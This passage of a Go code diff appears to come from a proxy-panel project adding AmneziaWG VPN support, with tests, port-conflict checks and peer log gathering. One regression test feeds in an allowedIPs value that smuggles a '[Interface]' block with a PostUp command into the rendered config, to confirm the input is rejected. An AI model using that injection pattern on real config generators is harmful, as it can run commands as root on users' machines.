Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24,` +
`"rekeyAfterTime":"110 - 140","rejectAfterTime":"190-250","keepaliveTimeout":" "},"clients":[]}`,
}
if err := svc.normalizeAmneziaWGSettings(inbound); err != nil {
t.Fatalf("normalize: %v", err)
}
var parsed amneziawg.InboundSettings
if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil || parsed.Server == nil {
t.Fatalf("re-parse normalized settings (err=%v): %s", err, inbound.Settings)
}
if parsed.Server.RekeyAfterTime != "110-140" {
t.Errorf("rekeyAfterTime = %q, want canonical \"110-140\"", parsed.Server.RekeyAfterTime)
}
// A whitespace-only value must collapse to "feature off", not be stored
// as a value the server emitter renders into an invalid blank line.
if parsed.Server.KeepaliveTimeout != "" {
t.Errorf("keepaliveTimeout = %q, want collapsed to empty", parsed.Server.KeepaliveTimeout)
}
}
func TestInboundAmneziaWGServer_NonAmneziaWGReturnsNil(t *testing.T) {
if got := inboundAmneziaWGServer(string(model.VLESS), `{"server":{"privateKey":"x"}}`); got != nil {
t.Fatalf("a non-AmneziaWG protocol must return nil, got %+v", got)
}
}
func TestInboundAmneziaWGServer_MissingServerBlockReturnsNil(t *testing.T) {
if got := inboundAmneziaWGServer(string(model.AmneziaWG), `{"clients":[]}`); got != nil {
t.Fatalf("settings with no server block must return nil, got %+v", got)
}
}
// A newline inside a client's allowedIPs used to reach the rendered .conf,
// where a following "[Interface]\nPostUp = ..." runs as root the moment
// whoever applies that config (client app, or awg-quick directly) does so.
func TestNormalizeAmneziaWGSettings_RejectsInjectedClientAllowedIPs(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
inbound := &model.Inbound{
Protocol: model.AmneziaWG,
Port: 51820,
Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},` +
`"clients":[{"email":"a@x","enable":true,"publicKey":"pk",` +
`"allowedIPs":["10.8.1.2/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`,
}
err := svc.normalizeAmneziaWGSettings(inbound)
if err == nil {
t.Fatalf("an allowedIPs entry carrying a config-injection payload must be rejected; settings became:\n%s", inbound.Settings)
}
if !strings.Contains(err.Error(), "allowedIPs") {
t.Errorf("error should name the offending field, got %q", err)
}
}
func TestNormalizeAmneziaWGSettings_CanonicalizesClientAllowedIPs(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
inbound := &model.Inbound{
Protocol: model.AmneziaWG,
Port: 51820,
Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},` +
`"clients":[{"email":"a@x","enable":true,"publicKey":"pk","allowedIPs":[" 10.8.1.2 "]}]}`,
}
if err := svc.normalizeAmneziaWGSettings(inbound); err != nil {
t.Fatalf("normalize: %v", err)
}
var parsed amneziawg.InboundSettings
if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil {
t.Fatalf("re-parse normalized settings: %v", err)
}
if len(parsed.Clients) != 1 || len(parsed.Clients[0].AllowedIPs) != 1 || parsed.Clients[0].AllowedIPs[0] != "10.8.1.2/32" {
t.Fatalf("allowedIPs = %v, want [\"10.8.1.2/32\"]", parsed.Clients)
}
}
func TestGetAmneziaWGLogs_ClampsCountAndFiltersEvents(t *testing.T) {
logger.InitLogger(logging.DEBUG)
logger.Info("amneziawg: started interface awg1 for inbound 1")
logger.Info("xray: unrelated line that must never show up here")
logger.Warning("amneziawgnet: reconcile failed for inbound 2: handshake timeout")
svc := &ServerService{}
logs := svc.GetAmneziaWGLogs("not-a-number", "")
if logs == nil {
t.Fatal("GetAmneziaWGLogs must never return nil")
}
for _, line := range logs.Events {
if !strings.Contains(strings.ToLower(line), "amneziawg") {
t.Fatalf("non-AmneziaWG line leaked into the event list: %q", line)
}
}
if len(logs.Events) < 2 {
t.Fatalf("both AmneziaWG lines should be present, got %v", logs.Events)
}
// count caps the event list, so an operator asking for 1 gets 1.
if one := svc.GetAmneziaWGLogs("1", ""); len(one.Events) != 1 {
t.Fatalf("count=1 must cap the event list, got %d", len(one.Events))
}
// filter narrows further, case-insensitively.
filtered := svc.GetAmneziaWGLogs("100", "RECONCILE")
if len(filtered.Events) != 1 || !strings.Contains(filtered.Events[0], "reconcile") {
t.Fatalf("filter must narrow to the matching line, got %v", filtered.Events)
}
}
func TestCheckForwardedPortsConflict_RejectsSpecOverCap(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
spec := fmt.Sprintf("20000-%d", 20000+amneziawg.MaxForwardedPorts)
hit := svc.checkForwardedPortsConflict(ctx, spec)
if !strings.Contains(hit, fmt.Sprintf("%d", amneziawg.MaxForwardedPorts)) {
t.Fatalf("expected a collision naming the %d-port cap, got %q", amneziawg.MaxForwardedPorts, hit)
}
}
// A spec covering exactly MaxForwardedPorts ports is AT the cap, not over
// it, and must be accepted -- ExpandForwardedPorts truncates there by
// design, so a naive len(...) >= cap comparison can't tell the two apart.
func TestCheckForwardedPortsConflict_AcceptsSpecExactlyAtCap(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
spec := fmt.Sprintf("20000-%d", 20000+amneziawg.MaxForwardedPorts-1)
if hit := svc.checkForwardedPortsConflict(ctx, spec); hit != "" {
t.Fatalf("a spec covering exactly %d ports must be accepted, got collision %q", amneziawg.MaxForwardedPorts, hit)
}
}
// The SOCKS5 relay port an enabled AmneziaWG inbound gets (SOCKSPortForInbound)
// is a phantom, non-DB-row port -- ctx.inbounds alone can't see it, so
// checkForwardedPortsConflict must check it explicitly.
func TestCheckForwardedPortsConflict_CollidesWithAmneziawgnetSocksPort(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, `{}`)
var awgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded row: %v", err)
}
relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
hit := svc.checkForwardedPortsConflict(ctx, fmt.Sprintf("%d", relayPort))
if !strings.Contains(hit, "SOCKS5") {
t.Fatalf("expected a collision naming the AmneziaWG inbound's SOCKS5 relay port, got %q", hit)
}
}
// A cleared DNS field is meaningful (no DNS line in client configs) and must
// survive the save round-trip instead of resurrecting the frontend defaults.
func TestNormalizeAmneziaWGSettingsKeepsClearedDNS(t *testing.T) {
setupConflictDB(t)
server, err := defaultAmneziaWGServer()
if err != nil {
t.Fatalf("defaultAmneziaWGServer: %v", err)
}
server.PrimaryDNS = ""
server.SecondaryDNS = ""
bs, err := json.Marshal(amneziawg.InboundSettings{Server: server, Clients: []model.Client{}})
if err != nil {
t.Fatalf("marshal settings: %v", err)
}
inbound := &model.Inbound{Protocol: model.AmneziaWG, Settings: string(bs)}
if err := (&InboundService{}).normalizeAmneziaWGSettings(inbound); err != nil {
t.Fatalf("normalizeAmneziaWGSettings: %v", err)
}
for _, key := range []string{`"primaryDns"`, `"secondaryDns"`} {
if !strings.Contains(inbound.Settings, key) {
t.Fatalf("cleared %s dropped from persisted settings:\n%s", key, inbound.Settings)
}
}
}
+18
View File
@@ -53,6 +53,24 @@ func inboundCanEnableTlsFlow(protocol, streamSettings, settings string) bool {
}
}
// nodeEligibleProtocols mirrors the frontend's NODE_ELIGIBLE_PROTOCOLS. The
// sidecar-managed protocols are absent because their reconcile loops only query
// NodeID IS NULL rows, so a node-assigned one would never be reconciled at all.
// A new protocol defaults to ineligible until added here, as on the frontend.
var nodeEligibleProtocols = map[model.Protocol]bool{
model.VLESS: true,
model.VMESS: true,
model.Trojan: true,
model.Shadowsocks: true,
model.Hysteria: true,
model.WireGuard: true,
}
// isNodeEligibleProtocol reports whether protocol may be assigned to a node.
func isNodeEligibleProtocol(protocol model.Protocol) bool {
return nodeEligibleProtocols[protocol]
}
// vlessEncryptionEnabled reports whether a VLESS inbound has VLESS-level
// encryption (vlessenc / ML-KEM) configured. When enabled these fields hold a
// generated dotted string (e.g. "mlkem768x25519plus.native.0rtt.<key>"); "none"
@@ -88,3 +88,21 @@ func TestInboundCanHostFallbacks_StaysTcpOnly(t *testing.T) {
t.Errorf("inboundCanHostFallbacks(nil) = true, want false")
}
}
// Mirrors NODE_ELIGIBLE_PROTOCOLS in
// frontend/src/pages/inbounds/form/InboundFormModal.tsx -- keep both lists
// in sync if a protocol's node-eligibility ever changes.
func TestIsNodeEligibleProtocol(t *testing.T) {
eligible := []model.Protocol{model.VLESS, model.VMESS, model.Trojan, model.Shadowsocks, model.Hysteria, model.WireGuard}
for _, p := range eligible {
if !isNodeEligibleProtocol(p) {
t.Errorf("isNodeEligibleProtocol(%q) = false, want true", p)
}
}
ineligible := []model.Protocol{model.MTProto, model.AmneziaWG, model.Mixed, model.HTTP, model.Tunnel}
for _, p := range ineligible {
if isNodeEligibleProtocol(p) {
t.Errorf("isNodeEligibleProtocol(%q) = true, want false", p)
}
}
}
@@ -79,6 +79,10 @@ func (s *InboundService) applyTrafficMutationBatch(b *trafficMutationBatch) bool
s.applyLocalMtproto(plan.inbound.Id)
continue
}
if plan.inbound.Protocol == model.AmneziaWG {
s.applyLocalAmneziaWG(plan.inbound.Id)
continue
}
rt, err := s.runtimeFor(&plan.inbound)
if err == nil {
switch plan.action {
+99 -1
View File
@@ -5,6 +5,8 @@ import (
"fmt"
"strings"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/util/common"
@@ -22,7 +24,7 @@ const (
func inboundTransports(protocol model.Protocol, streamSettings, settings string) transportBits {
// protocols that ignore streamSettings entirely.
switch protocol {
case model.Hysteria, model.WireGuard:
case model.Hysteria, model.WireGuard, model.AmneziaWG:
return transportUDP
case model.MTProto:
return transportTCP
@@ -183,6 +185,36 @@ func checkPortConflictTx(db *gorm.DB, inbound *model.Inbound, ignoreId int) (*po
}, nil
}
// Every enabled local AmneziaWG inbound gets its own automatic Xray
// SOCKS5 relay inbound (see injectAmneziawgnetSocks) on 127.0.0.1 at a
// port derived purely from its id (amneziawgnet.SOCKSPortForInbound) --
// like the internal Xray API inbound above, that relay inbound is not
// itself a database row, so the ordinary DB-backed query below can never
// see it. Without this check, an unrelated inbound saved onto that exact
// port silently fails at the next Xray start, taking every other
// protocol down with it, not just AmneziaWG.
if inbound.NodeID == nil && listenOverlaps("127.0.0.1", inbound.Listen) {
conflict, err := checkAmneziawgnetSocksConflict(db, inbound, ignoreId, newBits)
if err != nil {
return nil, err
}
if conflict != nil {
return conflict, nil
}
}
// The reverse direction, only meaningful once the id is known (create's
// ignoreId==0 means AddInbound must run this itself after Save assigns one).
if inbound.Protocol == model.AmneziaWG && ignoreId > 0 {
conflict, err := checkAmneziawgnetSocksReverseConflict(db, ignoreId)
if err != nil {
return nil, err
}
if conflict != nil {
return conflict, nil
}
}
var candidates []*model.Inbound
q := db.Model(model.Inbound{}).Where("port = ?", inbound.Port)
if ignoreId > 0 {
@@ -216,6 +248,72 @@ func checkPortConflictTx(db *gorm.DB, inbound *model.Inbound, ignoreId int) (*po
return nil, nil
}
// checkAmneziawgnetSocksConflict reports whether inbound's own port
// collides with an existing, enabled local AmneziaWG inbound's automatic
// Xray SOCKS5 relay port. Unlike the retired kernel-module bridge this
// checks every qualifying AmneziaWG inbound unconditionally: the embedded
// relay has no RouteThroughXray-style opt-in, every one of them gets a
// relay inbound (see injectAmneziawgnetSocks). ignoreId excludes one inbound
// id from the AmneziaWG candidates, the same way the general DB-backed
// conflict query above excludes the inbound being edited from matching
// itself. Takes db rather than fetching its own handle so it runs inside the
// same serialized transaction as the rest of checkPortConflictTx (#6225) --
// otherwise two concurrent AmneziaWG creates could both pass this check
// before either row commits.
func checkAmneziawgnetSocksConflict(db *gorm.DB, inbound *model.Inbound, ignoreId int, newBits transportBits) (*portConflictDetail, error) {
var candidates []*model.Inbound
q := db.Model(model.Inbound{}).Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true)
if ignoreId > 0 {
q = q.Where("id != ?", ignoreId)
}
if err := q.Find(&candidates).Error; err != nil {
return nil, err
}
for _, c := range candidates {
if _, ok := amneziawg.InstanceFromInbound(c); !ok {
continue
}
if amneziawgnet.SOCKSPortForInbound(c.Id) != inbound.Port {
continue
}
return &portConflictDetail{
InboundID: c.Id,
Remark: c.Remark,
Tag: c.Tag,
Listen: "127.0.0.1",
Port: inbound.Port,
Transports: newBits,
}, nil
}
return nil, nil
}
// checkAmneziawgnetSocksReverseConflict mirrors checkAmneziawgnetSocksConflict:
// does id's own derived relay port collide with some other inbound's port.
func checkAmneziawgnetSocksReverseConflict(db *gorm.DB, id int) (*portConflictDetail, error) {
relayPort := amneziawgnet.SOCKSPortForInbound(id)
var candidates []*model.Inbound
if err := db.Model(model.Inbound{}).
Where("port = ? AND node_id IS NULL AND id != ?", relayPort, id).
Find(&candidates).Error; err != nil {
return nil, err
}
for _, c := range candidates {
if !listenOverlaps("127.0.0.1", c.Listen) {
continue
}
return &portConflictDetail{
InboundID: c.Id,
Remark: c.Remark,
Tag: c.Tag,
Listen: c.Listen,
Port: relayPort,
Transports: transportTCP,
}, nil
}
return nil, nil
}
func sameNode(a, b *int) bool {
if a == nil && b == nil {
return true
+196
View File
@@ -8,6 +8,7 @@ import (
"github.com/op/go-logging"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
xuilogger "github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -729,3 +730,198 @@ func TestCheckPortConflict_ReservedAPIPortUDPCoexists(t *testing.T) {
t.Fatalf("udp-only inbound must coexist with the tcp API inbound; got=%v err=%v", got, err)
}
}
// amneziawgRoutedSettings builds a minimal but complete AmneziaWG settings
// blob with one qualifying, enabled peer -- the shape that makes
// injectAmneziawgnetSocks (and therefore checkAmneziawgnetSocksConflict)
// create a relay inbound at all. The routeThroughXray field is kept in the
// JSON (a stale value from a pre-cutover install) specifically to prove
// it's now ignored -- see the "RouteThroughXrayOff" test below.
const amneziawgRoutedSettings = `{"server":{"privateKey":"priv","publicKey":"pub","subnetIp":"10.8.1.0","subnetCidr":24,"routeThroughXray":true},"clients":[{"email":"a@x","enable":true,"publicKey":"pub-a","allowedIPs":["10.8.1.2/32"]}]}`
// An enabled AmneziaWG inbound's automatic Xray SOCKS5 relay inbound
// (injectAmneziawgnetSocks) is a synthetic loopback inbound, not a database
// row, so checkPortConflict needs its own check to catch a collision --
// exactly the same shape of problem as the reserved API port above.
func TestCheckPortConflict_AmneziawgnetSocksRelayBlockedLocal(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
var awgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded row: %v", err)
}
relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
svc := &InboundService{}
candidate := &model.Inbound{
Tag: "vless-bridge",
Listen: "0.0.0.0",
Port: relayPort,
Protocol: model.VLESS,
}
got, err := svc.checkPortConflict(candidate, 0)
if err != nil {
t.Fatalf("checkPortConflict: %v", err)
}
if got == nil {
t.Fatalf("a local inbound on the AmneziaWG relay port %d must conflict", relayPort)
}
if msg := got.String(); !strings.Contains(msg, "awg-1") {
t.Fatalf("conflict message should name the owning AmneziaWG inbound; got %q", msg)
}
}
// Nodes run their own Xray, so a node inbound landing on the central panel's
// AmneziaWG relay port must be allowed -- the relay inbound only ever binds
// 127.0.0.1 on the local panel's own Xray.
func TestCheckPortConflict_AmneziawgnetSocksRelayAllowedOnNode(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
var awgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded row: %v", err)
}
relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
svc := &InboundService{}
candidate := &model.Inbound{
Tag: "node-bridge",
Listen: "0.0.0.0",
Port: relayPort,
Protocol: model.VLESS,
NodeID: new(1),
}
if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
t.Fatalf("a node inbound on the local AmneziaWG relay port must be allowed; got=%v err=%v", got, err)
}
}
// A disabled AmneziaWG inbound never gets a relay inbound injected
// (injectAmneziawgnetSocks skips !inbound.Enable), so its "reserved" port
// must not block anything.
func TestCheckPortConflict_AmneziawgnetSocksRelayIgnoredWhenDisabled(t *testing.T) {
setupConflictDB(t)
awg := &model.Inbound{Tag: "awg-1", Enable: false, Listen: "0.0.0.0", Port: 51820, Protocol: model.AmneziaWG, Settings: `{}`}
if err := database.GetDB().Create(awg).Error; err != nil {
t.Fatalf("seed disabled awg inbound: %v", err)
}
relayPort := amneziawgnet.SOCKSPortForInbound(awg.Id)
svc := &InboundService{}
candidate := &model.Inbound{
Tag: "vless-bridge",
Listen: "0.0.0.0",
Port: relayPort,
Protocol: model.VLESS,
}
if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
t.Fatalf("a disabled AmneziaWG inbound's port must not be reserved; got=%v err=%v", got, err)
}
}
// Unlike the retired kernel-module bridge, the embedded relay has no
// RouteThroughXray-style opt-in -- every qualifying AmneziaWG inbound
// reserves its relay port regardless of that (now-vestigial) field's value,
// including a stale routeThroughXray:true left over from a pre-cutover
// install (amneziawgRoutedSettings).
func TestCheckPortConflict_AmneziawgnetSocksRelayReservedRegardlessOfLegacyRouteThroughXrayField(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, `{"server":{"privateKey":"priv","publicKey":"pub","subnetIp":"10.8.1.0","subnetCidr":24},"clients":[{"email":"a@x","enable":true,"publicKey":"pub-a","allowedIPs":["10.8.1.2/32"]}]}`)
var awgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded row: %v", err)
}
relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
svc := &InboundService{}
candidate := &model.Inbound{
Tag: "vless-bridge",
Listen: "0.0.0.0",
Port: relayPort,
Protocol: model.VLESS,
}
got, err := svc.checkPortConflict(candidate, 0)
if err != nil {
t.Fatalf("checkPortConflict: %v", err)
}
if got == nil {
t.Fatalf("an enabled, qualifying AmneziaWG inbound must reserve its relay port even with RouteThroughXray left at its default")
}
}
// A qualifying AmneziaWG inbound with no enabled/valid peer at all never
// gets a relay inbound (amneziawg.InstanceFromInbound returns ok=false), so
// its port isn't reserved.
func TestCheckPortConflict_AmneziawgnetSocksRelayIgnoredWhenNoQualifyingPeer(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, `{}`)
var awgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded row: %v", err)
}
relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
svc := &InboundService{}
candidate := &model.Inbound{
Tag: "vless-bridge",
Listen: "0.0.0.0",
Port: relayPort,
Protocol: model.VLESS,
}
if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
t.Fatalf("an AmneziaWG inbound with no qualifying peer must not reserve its relay port; got=%v err=%v", got, err)
}
}
// An unrelated port never conflicts with the relay inbound.
func TestCheckPortConflict_AmneziawgnetSocksRelayDifferentPortAllowed(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
svc := &InboundService{}
candidate := &model.Inbound{
Tag: "vless-elsewhere",
Listen: "0.0.0.0",
Port: 9999,
Protocol: model.VLESS,
}
if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
t.Fatalf("an unrelated port must not conflict with the AmneziaWG relay inbound; got=%v err=%v", got, err)
}
}
// The reverse direction: saving an AmneziaWG inbound whose own derived relay
// port happens to equal another inbound's real port must also be rejected,
// not just the already-covered "someone else picks my relay port" case.
func TestCheckPortConflict_AmneziawgnetSocksRelayReverseDirectionBlockedOnUpdate(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
var awgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded row: %v", err)
}
relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
seedInboundConflict(t, "vless-1", "0.0.0.0", relayPort, model.VLESS, ``, `{}`)
svc := &InboundService{}
candidate := &model.Inbound{
Id: awgInbound.Id,
Tag: "awg-1",
Listen: "0.0.0.0",
Port: 51820,
Protocol: model.AmneziaWG,
Settings: amneziawgRoutedSettings,
}
got, err := svc.checkPortConflict(candidate, awgInbound.Id)
if err != nil {
t.Fatalf("checkPortConflict: %v", err)
}
if got == nil {
t.Fatalf("awg-1's own derived relay port %d collides with vless-1's real port; must be rejected", relayPort)
}
}
+163
View File
@@ -4,6 +4,7 @@ import (
"archive/zip"
"bufio"
"bytes"
"cmp"
"context"
"crypto/sha256"
"crypto/x509"
@@ -13,6 +14,7 @@ import (
"errors"
"fmt"
"io"
"math"
"mime/multipart"
stdnet "net"
"net/http"
@@ -28,6 +30,8 @@ import (
"sync"
"time"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/config"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
@@ -89,6 +93,13 @@ type Status struct {
ErrorMsg string `json:"errorMsg"`
Version string `json:"version"`
} `json:"xray"`
// AmneziaWG gates the overview's AmneziaWG log view: Configured stays true
// while an inbound exists but its embedded interface isn't up yet, which
// is exactly when that view's event lines are worth reading.
AmneziaWG struct {
Configured bool `json:"configured"`
Running bool `json:"running"`
} `json:"amneziawg"`
PanelVersion string `json:"panelVersion"`
PanelGuid string `json:"panelGuid"`
Uptime uint64 `json:"uptime"`
@@ -611,6 +622,16 @@ func (s *ServerService) GetStatus(lastStatus *Status) *Status {
status.Xray.ErrorMsg = s.xrayService.GetXrayResult()
}
status.Xray.Version = s.xrayService.GetXrayVersion()
var amneziawgCount int64
if err := database.GetDB().Model(model.Inbound{}).
Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true).
Count(&amneziawgCount).Error; err != nil {
logger.Warning("count amneziawg inbounds failed:", err)
}
status.AmneziaWG.Configured = amneziawgCount > 0
status.AmneziaWG.Running = amneziawgnet.GetManager().HasRunning()
status.PanelVersion = config.GetPanelVersion()
if guid, err := s.settingService.GetPanelGuid(); err == nil {
status.PanelGuid = guid
@@ -1167,6 +1188,148 @@ func parseAccessLogFields(line string) LogEntry {
return entry
}
// PeerActivity is one peer's live embedded-Device-reported state, the
// counterpart of an Xray access-log entry: a tunnel logs no requests, only
// handshakes and bytes.
type PeerActivity struct {
Interface string `json:"interface" example:"awg1"`
Tag string `json:"tag" example:"inbound-51820"`
InboundId int `json:"inboundId" example:"1"`
Email string `json:"email" example:"peer@example.com"`
Endpoint string `json:"endpoint" example:"203.0.113.9:51820"`
AllowedIPs string `json:"allowedIPs" example:"10.8.1.2/32"`
// Handshake is unix milliseconds, 0 when the peer has never connected.
Handshake int64 `json:"handshake" example:"1735732800000"`
Up int64 `json:"up" example:"1048576"`
Down int64 `json:"down" example:"4194304"`
Online bool `json:"online" example:"true"`
}
// amneziawgOnlineWindow mirrors the standard WireGuard convention (and this
// fork's own prior kernel-module behavior): a handshake this recent counts
// as online.
const amneziawgOnlineWindow = 180 * time.Second
// AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live
// per-peer activity of every running embedded interface, plus the panel's
// own recent AmneziaWG lifecycle log lines that explain a peer being absent
// from Peers at all.
type AmneziaWGLogs struct {
Peers []PeerActivity `json:"peers"`
Events []string `json:"events" example:"[\"2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1\"]"`
Running bool `json:"running" example:"true"`
}
// amneziawgEventMarker selects the panel's own AmneziaWG log lines: every
// logger call in internal/amneziawg, internal/amneziawgnet and their jobs
// prefixes its message with it.
const amneziawgEventMarker = "amneziawg"
// amneziawgLogActivity gathers live PeerActivity rows across every enabled,
// non-node-hosted AmneziaWG inbound, newest handshake first. An inbound
// amneziawgnet has no running Device for yet (not reconciled, disabled,
// errored) contributes no rows -- not reported as an error, since the
// caller (GetAmneziaWGLogs) already has a device-agnostic Running flag from
// amneziawgnet.GetManager().HasRunning() for that.
// clampUint64ToInt64 saturates at math.MaxInt64 instead of wrapping negative,
// for a live uint64 byte counter (amneziawgnet's own UAPI-dump snapshot, not
// a DB-accumulated total) going into an int64 API field -- unreachable in
// practice at real traffic volumes, but a silent negative value would be
// worse than a saturated one if it were ever hit.
func clampUint64ToInt64(v uint64) int64 {
if v > math.MaxInt64 {
return math.MaxInt64
}
return int64(v)
}
func amneziawgLogActivity() []PeerActivity {
var inbounds []*model.Inbound
if err := database.GetDB().
Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true).
Find(&inbounds).Error; err != nil {
logger.Warning("amneziawg logs: list inbounds failed:", err)
return nil
}
now := time.Now()
var out []PeerActivity
for _, inbound := range inbounds {
inst, ok := amneziawg.InstanceFromInbound(inbound)
if !ok {
continue
}
diag := amneziawgnet.Diagnose(inbound.Id, inst.Peers)
if !diag.Running {
continue
}
for _, cd := range diag.Clients {
var handshakeMs int64
online := false
if !cd.LastHandshake.IsZero() {
handshakeMs = cd.LastHandshake.UnixMilli()
online = now.Sub(cd.LastHandshake) < amneziawgOnlineWindow
}
out = append(out, PeerActivity{
Interface: inst.InterfaceName,
Tag: inbound.Tag,
InboundId: inbound.Id,
Email: cd.Email,
Endpoint: cd.Endpoint,
AllowedIPs: cd.AllowedIPs,
Handshake: handshakeMs,
Up: clampUint64ToInt64(cd.RxBytes),
Down: clampUint64ToInt64(cd.TxBytes),
Online: online,
})
}
}
slices.SortFunc(out, func(a, b PeerActivity) int {
if a.Handshake != b.Handshake {
return cmp.Compare(b.Handshake, a.Handshake)
}
return strings.Compare(a.Email, b.Email)
})
return out
}
// GetAmneziaWGLogs returns at most count peer rows and count event lines,
// optionally narrowed to rows whose text contains filter (case-insensitive),
// mirroring GetXrayLogs' own count+filter contract.
func (s *ServerService) GetAmneziaWGLogs(count string, filter string) *AmneziaWGLogs {
limit, err := strconv.Atoi(count)
if err != nil || limit < 1 || limit > 10000 {
limit = 100
}
needle := strings.ToLower(strings.TrimSpace(filter))
logs := &AmneziaWGLogs{Peers: []PeerActivity{}, Events: []string{}, Running: amneziawgnet.GetManager().HasRunning()}
for _, peer := range amneziawgLogActivity() {
if len(logs.Peers) >= limit {
break
}
if needle != "" && !strings.Contains(strings.ToLower(peer.Email+" "+peer.Tag+" "+peer.Interface+" "+peer.Endpoint+" "+peer.AllowedIPs), needle) {
continue
}
logs.Peers = append(logs.Peers, peer)
}
for _, line := range logger.GetLogs(10000, "debug") {
if len(logs.Events) >= limit {
break
}
if !strings.Contains(strings.ToLower(line), amneziawgEventMarker) {
continue
}
if needle != "" && !strings.Contains(strings.ToLower(line), needle) {
continue
}
logs.Events = append(logs.Events, line)
}
return logs
}
func (s *ServerService) GetXrayLogs(
count string,
filter string,
@@ -158,6 +158,7 @@ func (t *Tgbot) getInboundsAddClient() (*telego.InlineKeyboardMarkup, error) {
model.Tunnel: true,
model.Mixed: true,
model.WireGuard: true,
model.AmneziaWG: true,
model.HTTP: true,
}
@@ -202,6 +203,7 @@ func (t *Tgbot) getInboundsAttachPicker() (*telego.InlineKeyboardMarkup, error)
model.Tunnel: true,
model.Mixed: true,
model.WireGuard: true,
model.AmneziaWG: true,
model.HTTP: true,
}
selected := make(map[int]bool, len(receiver_inbound_IDs))
+241 -1
View File
@@ -10,6 +10,8 @@ import (
"strings"
"sync"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/config"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -172,7 +174,7 @@ func (s *XrayService) GetXrayConfig() (*xray.Config, error) {
if inbound.NodeID != nil {
continue
}
if inbound.Protocol == model.MTProto {
if inbound.Protocol == model.MTProto || inbound.Protocol == model.AmneziaWG {
continue
}
settings := map[string]any{}
@@ -369,6 +371,27 @@ func (s *XrayService) GetXrayConfig() (*xray.Config, error) {
injectMtprotoEgress(xrayConfig, inbound)
}
// Every AmneziaWG inbound is embedded (internal/amneziawgnet: amneziawg-go
// over a gVisor netstack, no kernel module) and relays every peer's
// decapsulated traffic into its own loopback SOCKS5 inbound, always on —
// unlike mtproto's bridge above, there's no opt-in gate here: once
